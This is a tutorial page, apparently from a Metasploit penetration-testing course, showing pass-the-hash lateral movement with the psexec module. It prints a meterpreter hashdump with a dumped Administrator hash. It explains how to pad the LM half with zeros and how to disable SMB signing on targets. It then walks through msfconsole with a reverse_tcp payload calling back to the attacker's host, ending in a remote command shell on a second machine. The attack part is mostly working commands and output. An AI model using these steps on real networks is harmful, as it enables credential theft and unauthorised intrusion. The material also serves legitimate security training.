PSExec Pass the Hash a11y.text PSExec Pass the Hash The psexec module is often used by penetration testers to obtain access to a given system that you already know the credentials for. It was written by Sysinternals and has been integrated within the framework. Often as penetration testers, we successfully gain access to a system through some exploit, use meterpreter to grab the passwords or other methods like fgdump , pwdump , or cachedump and then use rainbowtables to crack those hash values. We also have other options like pass the hash through tools like iam.exe . One great method with psexec in metasploit is it allows you to enter the password itself, or you can simply just specify the hash values, no need to crack to gain access to the system. Letâ€™s think deeply about how we can use this attack to further penetrate a network. Letâ€™s first say we compromise a system that has an administrator password on the system, we donâ€™t need to crack it because psexec allows us to use just the hash values, that administrator account is the same on every account within the domain infrastructure. We can now go from system to system without ever having to worry about cracking the password. One important thing to note on this is that if NTLM is only available (for example its a 15+ character password or through GPO they specify NTLM response only), simply replace the ****NOPASSWORD**** with 32 0â€™s for example: ******NOPASSWORD*******:8846f7eaee8fb117ad06bdd830b7586c Would be replaced by: 00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c While testing this in your lab, you may encounter the following error even though you are using the correct credentials: STATUS_ACCESS_DENIED (Command=117 WordCount=0) This can be remedied by navigating to the registry key, â€œHKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parametersâ€• on the target systems and setting the value of RequireSecuritySignature to â€˜0â€™. [*] Meterpreter session 1 opened (192.168.57.139:443 -> 192.168.57.131:1042)

```
meterpreter > run post/windows/gather/hashdump
```

```
[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...


Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
```

meterpreter > Now that we have a meterpreter console and dumped the hashes, letâ€™s connect to a different victim using PSExec and just the hash values. root@kali : ~ # msfconsole ##

```
    ###          ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                ##



      =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 787 exploits - 425 auxiliary - 128 post
+ -- --=[ 238 payloads - 27 encoders - 8 nops
      =[ svn r14551 updated yesterday (2012.01.14)


msf > search psexec


Exploits
```

```
========


   Name                      Description
   ----                      -----------
   windows/smb/psexec        Microsoft Windows Authenticated User Code Execution
   windows/smb/smb_relay     Microsoft Windows SMB Relay Code Execution


msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.57.133
LHOST => 192.168.57.133
msf exploit(psexec) > set LPORT 443
LPORT => 443
msf exploit(psexec) > set RHOST 192.168.57.131
RHOST => 192.168.57.131
msf exploit(psexec) > show options


Module options:


   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.57.131   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPass                   no        The password for the specified username
   SMBUser  Administrator    yes       The username to authenticate as
```

```
Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     192.168.57.133   yes       The local address
   LPORT     443              yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(psexec) > set SMBPass
e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...

[*] Created \KoVCxCjx.exe...

[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...

[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...

[*] Obtaining a service manager handle...

[*] Creating a new service (XKqtKinn - "MSSeYtOQydnRPWl")...

[*] Closing service handle...

[*] Opening service...

[*] Starting the service...

[*] Removing the service...

[*] Closing service handle...

[*] Deleting \KoVCxCjx.exe...

[*] Sending stage (719360 bytes)

[*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)


meterpreter > shell

Process 3680 created.

Channel 1 created.

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.


C:\WINDOWS\system32>
```

That is it! We successfully connect to a seperate computer with the same credentials without having to worry about rainbowtables or cracking the password. Special thanks to Chris Gates for the documentation on this. Next Event Log Management Prev Privilege Escalation